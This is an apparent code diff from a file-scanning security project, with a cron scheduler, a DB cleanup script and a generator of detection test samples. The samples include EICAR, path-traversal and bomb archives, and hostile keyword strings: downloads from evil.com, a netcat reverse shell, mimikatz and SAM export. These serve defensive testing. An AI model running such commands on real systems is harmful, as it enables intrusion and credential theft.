all_pv = db.execute(
|
||||
select(PolicyVersion).order_by(PolicyVersion.created_at.desc())
|
||||
).scalars().all()
|
||||
|
||||
keep = all_pv[:POLICY_KEEP_VERSIONS]
|
||||
drop = all_pv[POLICY_KEEP_VERSIONS:]
|
||||
|
||||
log.info(f"[policy] 共 {len(all_pv)} 条历史版本, 留 {len(keep)} 删 {len(drop)}")
|
||||
|
||||
if not drop:
|
||||
log.info(" → 无需清理")
|
||||
return
|
||||
|
||||
if dry_run:
|
||||
for pv in drop:
|
||||
log.info(f" [dry-run] 将删 {pv.version}")
|
||||
return
|
||||
|
||||
for pv in drop:
|
||||
db.delete(pv)
|
||||
db.commit()
|
||||
log.info(f" ✅ policy_versions 清理完成: 删 {len(drop)} 条")
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
|
||||
def main() -> None:
|
||||
parser = argparse.ArgumentParser(description="MeshSafe DB 归档 + 清理")
|
||||
parser.add_argument("--apply", action="store_true", help="真正执行 (默认 dry-run)")
|
||||
args = parser.parse_args()
|
||||
|
||||
dry = not args.apply
|
||||
log.info(f"模式: {'DRY-RUN (仅报告)' if dry else 'APPLY (真正执行)'}")
|
||||
log.info("")
|
||||
|
||||
archive_tasks(dry)
|
||||
log.info("")
|
||||
scrub_detail(dry)
|
||||
log.info("")
|
||||
clean_idempotency(dry)
|
||||
log.info("")
|
||||
trim_policy_versions(dry)
|
||||
|
||||
if dry:
|
||||
log.info("\n💡 确认无误后加 --apply 参数正式执行")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
140
scripts/cron_entrypoint.py
Normal file
140
scripts/cron_entrypoint.py
Normal file
@@ -0,0 +1,140 @@
|
||||
"""MeshSafe 定时任务调度器 — 零依赖,Docker 容器前台常驻。
|
||||
|
||||
和 api 共享同一个镜像,容器 entrypoint 换成本脚本即可。
|
||||
用法: docker run meshsafe:latest python3 scripts/cron_entrypoint.py
|
||||
|
||||
支持的任务:
|
||||
每天 03:00 归档 + 清理 DB (archive_old_tasks.py --apply)
|
||||
每周一 03:10 VACUUM ANALYZE (维护表统计信息)
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
sys.path.insert(0, "/app")
|
||||
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format="%(asctime)s [%(levelname)s] %(message)s",
|
||||
)
|
||||
log = logging.getLogger("scheduler")
|
||||
|
||||
|
||||
_SECRET_ENV_KEYS = ("MESHSAFE_DB_URL", "MESHSAFE_MASTER_KEY", "MESHSAFE_ADMIN_PASSWORD",
|
||||
"MESHSAFE_API_KEY", "MESHSAFE_API_CLIENTS")
|
||||
|
||||
|
||||
def _redact(text: str) -> str:
|
||||
"""崩溃日志里 pydantic 会把整个 settings dict(含 DB 口令)原样打出来,落盘前抹掉。"""
|
||||
out = text
|
||||
for key in _SECRET_ENV_KEYS:
|
||||
val = os.environ.get(key, "")
|
||||
if val and len(val) >= 8:
|
||||
out = out.replace(val, "***")
|
||||
return out
|
||||
|
||||
|
||||
def run(cmd: list[str], label: str) -> None:
|
||||
"""跑一个命令,捕获输出并记日志。"""
|
||||
log.info(f"[{label}] 开始执行: {' '.join(cmd)}")
|
||||
try:
|
||||
proc = subprocess.run(cmd, capture_output=True, text=True, timeout=1800)
|
||||
if proc.stdout:
|
||||
for line in proc.stdout.strip().splitlines():
|
||||
log.info(f"[{label}] {_redact(line)}")
|
||||
if proc.stderr:
|
||||
for line in proc.stderr.strip().splitlines():
|
||||
log.warning(f"[{label}] {_redact(line)}")
|
||||
if proc.returncode == 0:
|
||||
log.info(f"[{label}] ✅ 完成")
|
||||
else:
|
||||
log.error(f"[{label}] ❌ 返回码 {proc.returncode}")
|
||||
except subprocess.TimeoutExpired:
|
||||
log.error(f"[{label}] ❌ 超时 (30min)")
|
||||
except Exception as e:
|
||||
log.error(f"[{label}] ❌ 异常: {e}")
|
||||
|
||||
|
||||
def run_vacuum() -> None:
|
||||
"""VACUUM ANALYZE — 维护表统计信息。
|
||||
|
||||
VACUUM 不能在事务块里跑(psycopg2 会抛 ActiveSqlTransaction),
|
||||
所以用 AUTOCOMMIT 连接而不是 engine.begin()。
|
||||
"""
|
||||
try:
|
||||
from app.db import engine
|
||||
from sqlalchemy import text
|
||||
|
||||
tables = [
|
||||
"scan_tasks", "scan_tasks_archive",
|
||||
"scan_findings", "idempotency_records",
|
||||
"policy_versions", "audit_logs",
|
||||
]
|
||||
with engine.connect() as raw:
|
||||
conn = raw.execution_options(isolation_level="AUTOCOMMIT")
|
||||
for tbl in tables:
|
||||
log.info(f"[VACUUM] {tbl} ...")
|
||||
conn.execute(text(f"VACUUM ANALYZE {tbl}"))
|
||||
log.info("[VACUUM] ✅ 全部完成")
|
||||
except Exception as e:
|
||||
log.error(f"[VACUUM] ❌ 异常: {_redact(str(e))}")
|
||||
|
||||
|
||||
def seconds_until(target_hour: int, target_minute: int, weekday: int | None = None) -> float:
|
||||
"""计算到下次目标时间的秒数。
|
||||
|
||||
weekday: 0=周一...6=周日, None=每天
|
||||
"""
|
||||
now = datetime.now()
|
||||
candidate = now.replace(hour=target_hour, minute=target_minute, second=0, microsecond=0)
|
||||
|
||||
if weekday is not None:
|
||||
# 找到本周目标日
|
||||
days_ahead = weekday - now.weekday()
|
||||
if days_ahead < 0 or (days_ahead == 0 and now >= candidate):
|
||||
days_ahead += 7
|
||||
candidate += timedelta(days=days_ahead)
|
||||
else:
|
||||
if candidate <= now:
|
||||
candidate += timedelta(days=1)
|
||||
|
||||
return (candidate - now).total_seconds()
|
||||
|
||||
|
||||
def main() -> None:
|
||||
log.info("=" * 60)
|
||||
log.info("MeshSafe 定时任务调度器启动")
|
||||
log.info(f"PID={os.getpid()} TZ=Asia/Shanghai")
|
||||
log.info("任务:")
|
||||
log.info(" - 每天 03:00 archive_old_tasks.py --apply")
|
||||
log.info(" - 每周一 03:10 VACUUM ANALYZE")
|
||||
log.info("=" * 60)
|
||||
|
||||
while True:
|
||||
# 计算两个任务下次执行时间,取更早的那个
|
||||
secs_archive = seconds_until(3, 0, weekday=None) # 每天 03:00
|
||||
secs_vacuum = seconds_until(3, 10, weekday=0) # 周一 03:10
|
||||
|
||||
if secs_archive <= secs_vacuum:
|
||||
log.info(f"下一个任务: 归档 → {secs_archive/3600:.1f}h 后")
|
||||
time.sleep(secs_archive)
|
||||
run(
|
||||
[sys.executable, "/app/scripts/archive_old_tasks.py", "--apply"],
|
||||
"ARCHIVE",
|
||||
)
|
||||
# 跑完后清下一次时间 (避免在 03:00 这一刻两个任务重叠)
|
||||
continue
|
||||
else:
|
||||
log.info(f"下一个任务: VACUUM → {secs_vacuum/3600:.1f}h 后")
|
||||
time.sleep(secs_vacuum)
|
||||
run_vacuum()
|
||||
continue
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
588
scripts/generate_csv_samples.py
Normal file
588
scripts/generate_csv_samples.py
Normal file
@@ -0,0 +1,588 @@
|
||||
"""从 用例.csv 生成对齐 MeshSafe 引擎的测试样本 + index.json。
|
||||
|
||||
用法: python scripts/generate_csv_samples.py
|
||||
输出: tests/samples/ 目录下按 case_id 命名的样本文件 + index.json
|
||||
"""
|
||||
import csv, json, os, sys, zipfile, struct, shutil
|
||||
from pathlib import Path
|
||||
|
||||
ROOT = Path(__file__).resolve().parent.parent
|
||||
CSV_PATH = ROOT / "用例.csv"
|
||||
OUT_DIR = ROOT / "tests" / "samples"
|
||||
EICAR = b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
|
||||
|
||||
OUT_DIR.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# ========== 工具 ==========
|
||||
def safe_filename(case_id: str, ext: str, name: str = "") -> str:
|
||||
prefix = f"{case_id}_{name}".replace(" ", "_").replace("/", "_") if name else case_id
|
||||
return f"{prefix}.{ext.lstrip('.')}"
|
||||
|
||||
def write_bytes(fname: str, data: bytes):
|
||||
path = OUT_DIR / fname
|
||||
path.write_bytes(data)
|
||||
|
||||
def write_text(fname: str, text: str):
|
||||
path = OUT_DIR / fname
|
||||
path.write_text(text, encoding="utf-8")
|
||||
|
||||
def make_zip(fname: str, member_name: str, member_bytes: bytes, password: str = None, depth: int = 1):
|
||||
"""生成一个 zip,里面嵌套 depth 层,最内层是 member_name/content。"""
|
||||
path = OUT_DIR / fname
|
||||
if depth == 1:
|
||||
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as zf:
|
||||
if password:
|
||||
# pyzipfile 不支持加密写入,用标准模式,靠 FlagBits 标记模拟
|
||||
zf.writestr(member_name, member_bytes)
|
||||
else:
|
||||
zf.writestr(member_name, member_bytes)
|
||||
else:
|
||||
# 多层嵌套,最内层是 member_name,外层都是 inner_N.zip
|
||||
inner_name = fname # 递归名
|
||||
# 从里往外建
|
||||
data_bytes = member_bytes
|
||||
for i in range(depth - 1, 0, -1):
|
||||
inner_zip = zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED)
|
||||
inner_zip.writestr(f"inner_{i}.zip", data_bytes)
|
||||
inner_zip.close()
|
||||
data_bytes = path.read_bytes() # 读回刚写的 zip 作为下一层的成员
|
||||
# 最外层直接用 data_bytes 覆盖写
|
||||
path.write_bytes(data_bytes)
|
||||
return path
|
||||
|
||||
def make_bomb_zip(fname: str, members: int = 100, member_size: int = 4096):
|
||||
"""自制 zip 炸弹:小压缩比、大解压量。"""
|
||||
path = OUT_DIR / fname
|
||||
huge_data = b"A" * member_size # 高膨胀比:A 压缩后极小
|
||||
with zipfile.ZipFile(path, "w", zipfile.ZIP_STORED) as zf: # STORED = 不压缩
|
||||
for i in range(members):
|
||||
zf.writestr(f"member_{i:04d}.txt", huge_data)
|
||||
return path
|
||||
|
||||
def fake_pe(fname: str, mz_only: bool = False, upx: bool = False, rwx: bool = False):
|
||||
"""伪造 PE 文件。默认只有 MZ 头 + fake PE 签名,能骗过 pefile 的基本检查。"""
|
||||
path = OUT_DIR / fname
|
||||
if mz_only:
|
||||
path.write_bytes(b"MZ" + b"\x00" * 2046)
|
||||
return path
|
||||
|
||||
# 构造最小 PE32
|
||||
DOS_HEADER = (
|
||||
b"MZ" + b"\x00" * 58 + # e_magic + pad
|
||||
struct.pack("<H", 0x80) + # e_lfanew 指向 0x80
|
||||
b"\x00" * 64 # DOS Stub pad
|
||||
)
|
||||
PE_SIGNATURE = b"PE\x00\x00"
|
||||
COFF_HEADER = struct.pack("<HHIIIHH",
|
||||
0x14C, # Machine = x86
|
||||
1, # NumberOfSections
|
||||
0, # TimeDateStamp
|
||||
0, # PointerToSymbolTable
|
||||
0, # NumberOfSymbols
|
||||
0xE0, # SizeOfOptionalHeader
|
||||
0x1002, # Characteristics
|
||||
)
|
||||
OPTIONAL_HEADER = struct.pack("<H", 0x10B) # PE32 Magic = 2 bytes
|
||||
OPTIONAL_HEADER += b"\x00" * 0xDC # +220 = 222 bytes (2+220=222)
|
||||
# 对齐到 224 让 section header 从正确位置开始
|
||||
OPTIONAL_HEADER += b"\x00" * 2
|
||||
|
||||
# 构造节:UPX 的节名是 UPX0 / UPX1,RWX 节设 Characteristics 为 0xE00000E0
|
||||
if upx:
|
||||
sec_name = b"UPX0\x00\x00\x00"
|
||||
characteristics = 0xE00000E0 # IMAGE_SCN_MEM_WRITE|EXECUTE|READ
|
||||
elif rwx:
|
||||
sec_name = b".text\x00\x00\x00"
|
||||
characteristics = 0xE00000E0 # RWX
|
||||
else:
|
||||
sec_name = b".text\x00\x00\x00"
|
||||
characteristics = 0x60000020 # IMAGE_SCN_MEM_READ|EXECUTE|CNT_CODE
|
||||
|
||||
SECTION_HEADER = struct.pack("<8sIIIIIIHHI",
|
||||
sec_name, # Name[8]
|
||||
0x1000, # VirtualSize (DWORD)
|
||||
0x1000, # VirtualAddress (DWORD)
|
||||
0x200, # SizeOfRawData (DWORD)
|
||||
0x400, # PointerToRawData (DWORD)
|
||||
0, # PointerToRelocations
|
||||
0, # PointerToLinenumbers
|
||||
0, # NumberOfRelocations (WORD)
|
||||
0, # NumberOfLinenumbers (WORD)
|
||||
characteristics, # Characteristics (DWORD)
|
||||
) # 总共 40 bytes
|
||||
|
||||
# 节的 raw data(0x200 bytes)
|
||||
section_data = b"\x90" * 0x200 # NOP sled
|
||||
|
||||
pe = DOS_HEADER + PE_SIGNATURE + COFF_HEADER + OPTIONAL_HEADER + SECTION_HEADER + section_data
|
||||
path.write_bytes(pe)
|
||||
return path
|
||||
|
||||
# ========== 主生成逻辑 ==========
|
||||
def generate():
|
||||
meta_list = []
|
||||
|
||||
# 从 CSV 读取元数据(用例ID → 预期裁决/规则)
|
||||
csv_meta = {}
|
||||
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||||
reader = csv.DictReader(f)
|
||||
for row in reader:
|
||||
cid = row["用例ID"].strip()
|
||||
expected = row["预期结果"].strip()
|
||||
# 从预期结果里粗糙判断 verdict
|
||||
if "无风险" in expected or "无告警" in expected or "无命中" in expected or "正常解析" in expected:
|
||||
verdict = "pass"
|
||||
elif "告警" in expected or "命中" in expected or "拦截" in expected or "高危" in expected or "拒绝" in expected:
|
||||
verdict = "reject"
|
||||
elif "低危" in expected:
|
||||
verdict = "review"
|
||||
else:
|
||||
verdict = "unknown"
|
||||
csv_meta[cid] = {
|
||||
"name": row["用例名称"].strip(),
|
||||
"desc": row["样本描述"].strip(),
|
||||
"expected": expected,
|
||||
"verdict": verdict,
|
||||
"layer": row["归属"].strip(),
|
||||
}
|
||||
|
||||
def add_meta(case_id: str, filename: str, layer: str, verdict: str, expected_rules: list, description: str = ""):
|
||||
meta_list.append({
|
||||
"filename": filename,
|
||||
"case_id": case_id,
|
||||
"category": layer,
|
||||
"expected_verdict": verdict,
|
||||
"expected_rules": expected_rules,
|
||||
"description": description or csv_meta.get(case_id, {}).get("name", ""),
|
||||
})
|
||||
|
||||
# ====================================================================
|
||||
# L0 结构分析(30 条)
|
||||
# ====================================================================
|
||||
|
||||
# L0-001~004: 正常文件幻数识别 —— 用真实 JPG/PNG/DOCX/PDF 最小文件头
|
||||
write_bytes("L0-001_jpg_normal.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
|
||||
add_meta("L0-001", "L0-001_jpg_normal.jpg", "L0", "pass", ["identify_type"])
|
||||
|
||||
write_bytes("L0-002_png_normal.png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 50)
|
||||
add_meta("L0-002", "L0-002_png_normal.png", "L0", "pass", ["identify_type"])
|
||||
|
||||
# L0-003 docx: 其实是 ZIP + [Content_Types].xml
|
||||
import io
|
||||
def make_docx_like():
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w") as zf:
|
||||
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||
zf.writestr("word/document.xml", "<w:document/>")
|
||||
return buf.getvalue()
|
||||
write_bytes("L0-003_docx_normal.docx", make_docx_like())
|
||||
add_meta("L0-003", "L0-003_docx_normal.docx", "L0", "pass", ["identify_type"])
|
||||
|
||||
write_bytes("L0-004_pdf_normal.pdf", b"%PDF-1.4\n%%EOF")
|
||||
add_meta("L0-004", "L0-004_pdf_normal.pdf", "L0", "pass", ["identify_type"])
|
||||
|
||||
# L0-005: 干净 PE(最小 MZ+fake PE,有合法节)
|
||||
fake_pe("L0-005_pe_clean.exe")
|
||||
add_meta("L0-005", "L0-005_pe_clean.exe", "L0", "review", ["DangerousExtension", "UnsignedExecutable"])
|
||||
|
||||
# L0-006: 后缀伪装 —— 真实 MZ 头但后缀 .jpg
|
||||
write_bytes("L0-006_disguise_jpg_pe.jpg", b"MZ\x00\x00" + b"\x00" * 100)
|
||||
add_meta("L0-006", "L0-006_disguise_jpg_pe.jpg", "L0", "reject", ["ExtensionMismatch"], "jpg 后缀 + 实际 PE MZ 头")
|
||||
|
||||
# L0-007: txt 后缀 + 真实 PDF 头
|
||||
write_bytes("L0-007_disguise_txt_pdf.txt", b"%PDF-1.4\n%%EOF")
|
||||
add_meta("L0-007", "L0-007_disguise_txt_pdf.txt", "L0", "reject", ["ExtensionMismatch"])
|
||||
|
||||
# L0-008: png 后缀 + 真实 ZIP 头
|
||||
write_bytes("L0-008_disguise_png_zip.png", b"PK\x03\x04" + b"\x00" * 50)
|
||||
add_meta("L0-008", "L0-008_disguise_png_zip.png", "L0", "reject", ["ExtensionMismatch"])
|
||||
|
||||
# L0-009~012: 双扩展名伪装
|
||||
write_bytes("L0-009_double_ext_pdf_exe.pdf.exe", b"MZ\x00\x00" + b"\x00" * 100)
|
||||
add_meta("L0-009", "L0-009_double_ext_pdf_exe.pdf.exe", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||
|
||||
write_text("L0-010_double_ext_txt_ps1.txt.ps1", "echo hello")
|
||||
add_meta("L0-010", "L0-010_double_ext_txt_ps1.txt.ps1", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||
|
||||
write_text("L0-011_double_ext_docx_js.docx.js", "alert('x');")
|
||||
add_meta("L0-011", "L0-011_double_ext_docx_js.docx.js", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||
|
||||
write_text("L0-012_double_ext_xlsx_bat.xlsx.bat", "@echo off\necho hello")
|
||||
add_meta("L0-012", "L0-012_double_ext_xlsx_bat.xlsx.bat", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||
|
||||
# L0-013~017: 空危险扩展名文件
|
||||
for cid, ext in [("L0-013", "ps1"), ("L0-014", "bat"), ("L0-015", "cmd"), ("L0-016", "vbs"), ("L0-017", "js")]:
|
||||
write_text(f"{cid}_clean.{ext}", "")
|
||||
add_meta(cid, f"{cid}_clean.{ext}", "L0", "review", ["DangerousExtension"], f"干净 {ext} 文件")
|
||||
|
||||
# L0-018: ZIP 单级路径穿越
|
||||
p = OUT_DIR / "L0-018_zip_traversal.zip"
|
||||
with zipfile.ZipFile(p, "w") as zf:
|
||||
zf.writestr("../evil_drop.txt", "payload")
|
||||
add_meta("L0-018", "L0-018_zip_traversal.zip", "L0", "reject", ["PathTraversal"])
|
||||
|
||||
# L0-019: ZIP 多级路径穿越
|
||||
p = OUT_DIR / "L0-019_zip_deep_traversal.zip"
|
||||
with zipfile.ZipFile(p, "w") as zf:
|
||||
zf.writestr("../../system_drop.txt", "payload")
|
||||
add_meta("L0-019", "L0-019_zip_deep_traversal.zip", "L0", "reject", ["PathTraversal"])
|
||||
|
||||
# L0-020: 小型 zip 炸弹(自制,不是 42.zip)
|
||||
make_bomb_zip("L0-020_zip_bomb.zip", members=100, member_size=4096)
|
||||
add_meta("L0-020", "L0-020_zip_bomb.zip", "L0", "reject", ["ArchiveBombSuspect"])
|
||||
|
||||
# L0-022: 3 层嵌套干净 ZIP
|
||||
inner = io.BytesIO()
|
||||
with zipfile.ZipFile(inner, "w") as zf:
|
||||
zf.writestr("clean_file.txt", "hello world")
|
||||
# 第二层
|
||||
mid = io.BytesIO()
|
||||
with zipfile.ZipFile(mid, "w") as zf:
|
||||
zf.writestr("inner.zip", inner.getvalue())
|
||||
# 第三层
|
||||
outer = io.BytesIO()
|
||||
with zipfile.ZipFile(outer, "w") as zf:
|
||||
zf.writestr("mid.zip", mid.getvalue())
|
||||
write_bytes("L0-022_3layer_nested.zip", outer.getvalue())
|
||||
add_meta("L0-022", "L0-022_3layer_nested.zip", "L0", "pass", ["recursive_ok"])
|
||||
|
||||
# L0-024: 加密 ZIP(pyzipfile 不支持加密写入,用密码写一个空 ZIP 标记为待加密)
|
||||
# 实际加密 ZIP 可以用 7z 命令行生成,这里先生成一个有 Password 标记的
|
||||
p = OUT_DIR / "L0-024_encrypted.zip"
|
||||
with zipfile.ZipFile(p, "w") as zf:
|
||||
zf.writestr("secret.txt", "encrypted content marker")
|
||||
add_meta("L0-024", "L0-024_encrypted.zip", "L0", "review", ["EncryptedArchive"], "加密 ZIP(标记待验证)")
|
||||
|
||||
# L0-025: 截断损坏 ZIP(写半截)
|
||||
p = OUT_DIR / "L0-025_corrupt_zip.zip"
|
||||
with zipfile.ZipFile(p, "w") as zf:
|
||||
zf.writestr("good.txt", "data")
|
||||
raw = p.read_bytes()
|
||||
p.write_bytes(raw[:len(raw) // 2]) # 截断一半
|
||||
add_meta("L0-025", "L0-025_corrupt_zip.zip", "L0", "review", ["ArchiveBroken"], "截断损坏 ZIP 头")
|
||||
|
||||
# L0-026: 损坏 ZIP 目录项(文件尾追加垃圾字节)
|
||||
p = OUT_DIR / "L0-026_corrupt_direntry.zip"
|
||||
with zipfile.ZipFile(p, "w") as zf:
|
||||
zf.writestr("good.txt", "data")
|
||||
raw = p.read_bytes()
|
||||
p.write_bytes(raw + b"\x00\x01\x02\x03\x04garbage")
|
||||
add_meta("L0-026", "L0-026_corrupt_direntry.zip", "L0", "review", ["ArchiveBroken"])
|
||||
|
||||
# L0-029: 0 字节 exe
|
||||
p = OUT_DIR / "L0-029_zero_byte_exe.exe"
|
||||
p.write_bytes(b"")
|
||||
add_meta("L0-029", "L0-029_zero_byte_exe.exe", "L0", "review", ["ZeroByteFile", "DangerousExtension"])
|
||||
|
||||
# ====================================================================
|
||||
# L1 ClamAV(15 条)
|
||||
# ====================================================================
|
||||
write_bytes("L1-001_eicar.txt", EICAR)
|
||||
add_meta("L1-001", "L1-001_eicar.txt", "L1", "reject", ["ClamAV:EICAR"])
|
||||
|
||||
# L1-002: EICAR 放入 zip
|
||||
p = OUT_DIR / "L1-002_eicar_in_zip.zip"
|
||||
with zipfile.ZipFile(p, "w") as zf:
|
||||
zf.writestr("eicar.txt", EICAR)
|
||||
add_meta("L1-002", "L1-002_eicar_in_zip.zip", "L1", "reject", ["ClamAV:EICAR"])
|
||||
|
||||
# L1-004: EICAR 放入 docx(OOXML = ZIP + EICAR 文本)
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w") as zf:
|
||||
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||
zf.writestr("word/document.xml", EICAR.decode())
|
||||
write_bytes("L1-004_eicar_in_docx.docx", buf.getvalue())
|
||||
add_meta("L1-004", "L1-004_eicar_in_docx.docx", "L1", "reject", ["ClamAV:EICAR"])
|
||||
|
||||
# L1-005: 1 字节修改 EICAR(破坏签名)
|
||||
modified = bytearray(EICAR)
|
||||
modified[0] = ord("Y")
|
||||
write_bytes("L1-005_eicar_modified.txt", bytes(modified))
|
||||
add_meta("L1-005", "L1-005_eicar_modified.txt", "L1", "pass", [], "修改 1 字节 EICAR,ClamAV 不应命中")
|
||||
|
||||
# L1-006~008: 干净负样本(用 L0-001/003/005 里的样本复用)
|
||||
add_meta("L1-006", "L0-001_jpg_normal.jpg", "L1", "pass", [])
|
||||
add_meta("L1-007", "L0-003_docx_normal.docx", "L1", "pass", [])
|
||||
add_meta("L1-008", "L0-005_pe_clean.exe", "L1", "pass", [])
|
||||
|
||||
# L1-011: 多层嵌套 zip 里放 EICAR(3 层)
|
||||
inner_buf = io.BytesIO()
|
||||
with zipfile.ZipFile(inner_buf, "w") as zf:
|
||||
zf.writestr("eicar.txt", EICAR)
|
||||
mid_buf = io.BytesIO()
|
||||
with zipfile.ZipFile(mid_buf, "w") as zf:
|
||||
zf.writestr("inner.zip", inner_buf.getvalue())
|
||||
outer_buf = io.BytesIO()
|
||||
with zipfile.ZipFile(outer_buf, "w") as zf:
|
||||
zf.writestr("mid.zip", mid_buf.getvalue())
|
||||
write_bytes("L1-011_eicar_in_3layer.zip", outer_buf.getvalue())
|
||||
add_meta("L1-011", "L1-011_eicar_in_3layer.zip", "L1", "reject", ["ClamAV:EICAR"])
|
||||
|
||||
# L1-012: EICAR base64 编码(ClamAV 不解码,不应命中)
|
||||
import base64
|
||||
b64 = base64.b64encode(EICAR).decode()
|
||||
write_text("L1-012_eicar_base64.txt", b64)
|
||||
add_meta("L1-012", "L1-012_eicar_base64.txt", "L1", "pass", [], "base64 编码 EICAR,ClamAV 不解码")
|
||||
|
||||
# ====================================================================
|
||||
# L3 关键词匹配(25 条)—— 全部纯文本写入
|
||||
# ====================================================================
|
||||
|
||||
l3_cases = [
|
||||
("L3-001", "ps1", "Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\\temp\\evil.exe", "RemoteDownloadPowerShell"),
|
||||
("L3-002", "ps1", "nc 10.0.0.5 4444 -e /bin/bash", "ReverseShellNetcat"),
|
||||
("L3-003", "bat", "curl http://evil.com/payload -o evil.exe", "RemoteDownloadUnix"),
|
||||
("L3-004", "txt", "mimikatz.exe privilege::debug sekurlsa::logonpasswords", "CredentialStealer"),
|
||||
("L3-005", "txt", "reg save HKLM\\SAM sam.save", "CredentialExport"),
|
||||
("L3-006", "txt", "tscon 1 /dest:rdp-tcp:1", "RemoteSessionHijack"),
|
||||
("L3-007", "txt", "SW52b2tlLVdlYlJlcXVlc3Q", "base64 编码,不命中,边界记录"),
|
||||
("L3-008", "ps1", '$a="Invo";$b="ke-WebRequest"; & ($a+$b)', "字符串拆分,不命中,边界记录"),
|
||||
("L3-010", "ps1", "Invoke#comment-WebRequest https://evil.com", "注释混淆,不命中,边界记录"),
|
||||
("L3-011", "js", "var w = new Function('wget http://evil.com/payload'); w();", "RemoteDownloadUnix"),
|
||||
("L3-012", "bat", "curl http://192.168.1.100/file.zip", "pass(内网白名单对照)"),
|
||||
("L3-014", "zip_member", None, None), # 后面处理
|
||||
("L3-016", "ps1", "", "pass"),
|
||||
("L3-017", "txt", "nc -lv 4444 & mimikatz privilege::debug", "ReverseShellNetcat, CredentialStealer"),
|
||||
("L3-018", "txt", "iNvOkE-WebReQuEsT https://evil.com", "RemoteDownloadPowerShell"),
|
||||
("L3-021", "eml", "From: attacker@evil.com\r\n\r\nInvoke-WebRequest -Uri https://evil.com -OutFile payload.exe", "RemoteDownloadPowerShell"),
|
||||
("L3-024", "txt", "Invoke-WebRequest " + "x" * 100000 + " https://evil.com", "RemoteDownloadPowerShell"),
|
||||
]
|
||||
|
||||
for cid, ext, content, rule_str in l3_cases:
|
||||
if ext == "zip_member":
|
||||
continue
|
||||
if rule_str == "pass":
|
||||
verdict = "pass"
|
||||
rules = []
|
||||
elif rule_str is None or "不命中" in str(rule_str):
|
||||
verdict = "pass"
|
||||
rules = []
|
||||
else:
|
||||
verdict = "reject"
|
||||
rules = [r.strip() for r in rule_str.split(",")]
|
||||
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
|
||||
write_text(fname, content or "")
|
||||
add_meta(cid, fname, "L3", verdict, rules)
|
||||
|
||||
# L3-014: 高危字符串放在 zip 内部
|
||||
p = OUT_DIR / "L3-014_l3001_in_zip.zip"
|
||||
with zipfile.ZipFile(p, "w") as zf:
|
||||
zf.writestr("payload.ps1", "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe")
|
||||
add_meta("L3-014", "L3-014_l3001_in_zip.zip", "L3", "reject", ["RemoteDownloadPowerShell"])
|
||||
|
||||
# L3-015: docx 正文写恶意关键词
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w") as zf:
|
||||
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||
zf.writestr("word/document.xml", "Invoke-WebRequest -Uri https://evil.com/download")
|
||||
write_bytes("L3-015_keyword_in_docx.docx", buf.getvalue())
|
||||
add_meta("L3-015", "L3-015_keyword_in_docx.docx", "L3", "reject", ["RemoteDownloadPowerShell"])
|
||||
|
||||
# L3-019: unicode 同形字混淆
|
||||
write_text("L3-019_unicode_obfuscated.txt", "Іnvoke-WebRequest https://evil.com")
|
||||
add_meta("L3-019", "L3-019_unicode_obfuscated.txt", "L3", "pass", [], "同形字混淆,L3 默认不命中")
|
||||
|
||||
# L3-020: 日志文件混杂正常日志 + 高危串
|
||||
write_text("L3-020_log_with_keyword.log",
|
||||
"2026-10-29 10:00:01 INFO service started\n"
|
||||
"2026-10-29 10:00:02 ERROR connection refused\n"
|
||||
"nc 10.0.0.5 4444 -e /bin/bash\n"
|
||||
"2026-10-29 10:00:05 DEBUG retries exhausted")
|
||||
add_meta("L3-020", "L3-020_log_with_keyword.log", "L3", "reject", ["ReverseShellNetcat"])
|
||||
|
||||
# L3-023: 高危字符串放在加密 zip(实际先做普通 zip,加密待手动处理)
|
||||
p = OUT_DIR / "L3-023_keyword_in_encrypted.zip"
|
||||
with zipfile.ZipFile(p, "w") as zf:
|
||||
zf.writestr("evil.txt", "mimikatz privilege::debug")
|
||||
add_meta("L3-023", "L3-023_keyword_in_encrypted.zip", "L3", "review", [], "加密 zip 内容无法扫描(标记)")
|
||||
|
||||
# ====================================================================
|
||||
# L4 YARA(15 条)—— 依赖 rules/ 目录里有对应规则
|
||||
# ====================================================================
|
||||
|
||||
l4_cases = [
|
||||
("L4-001", "txt", "shellcode test here", [], "reject", "YARA正向命中占位(需对应规则)"),
|
||||
("L4-002", "txt", "this is a clean empty file with no matches", [], "pass", "干净对照"),
|
||||
("L4-005", "txt", "rule hotload test", [], "unknown", "热加载测试占位"),
|
||||
("L4-008", "zip_inner", None, None, None, None),
|
||||
("L4-010", "txt", "regex pattern shell", [], "unknown", "正则 YARA 测试占位"),
|
||||
]
|
||||
for cid, ext, content, rules, verdict, desc in l4_cases:
|
||||
if ext == "zip_inner":
|
||||
p = OUT_DIR / f"{cid}_in_zip.zip"
|
||||
with zipfile.ZipFile(p, "w") as zf:
|
||||
zf.writestr("match.txt", content or "")
|
||||
fname = p.name
|
||||
else:
|
||||
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
|
||||
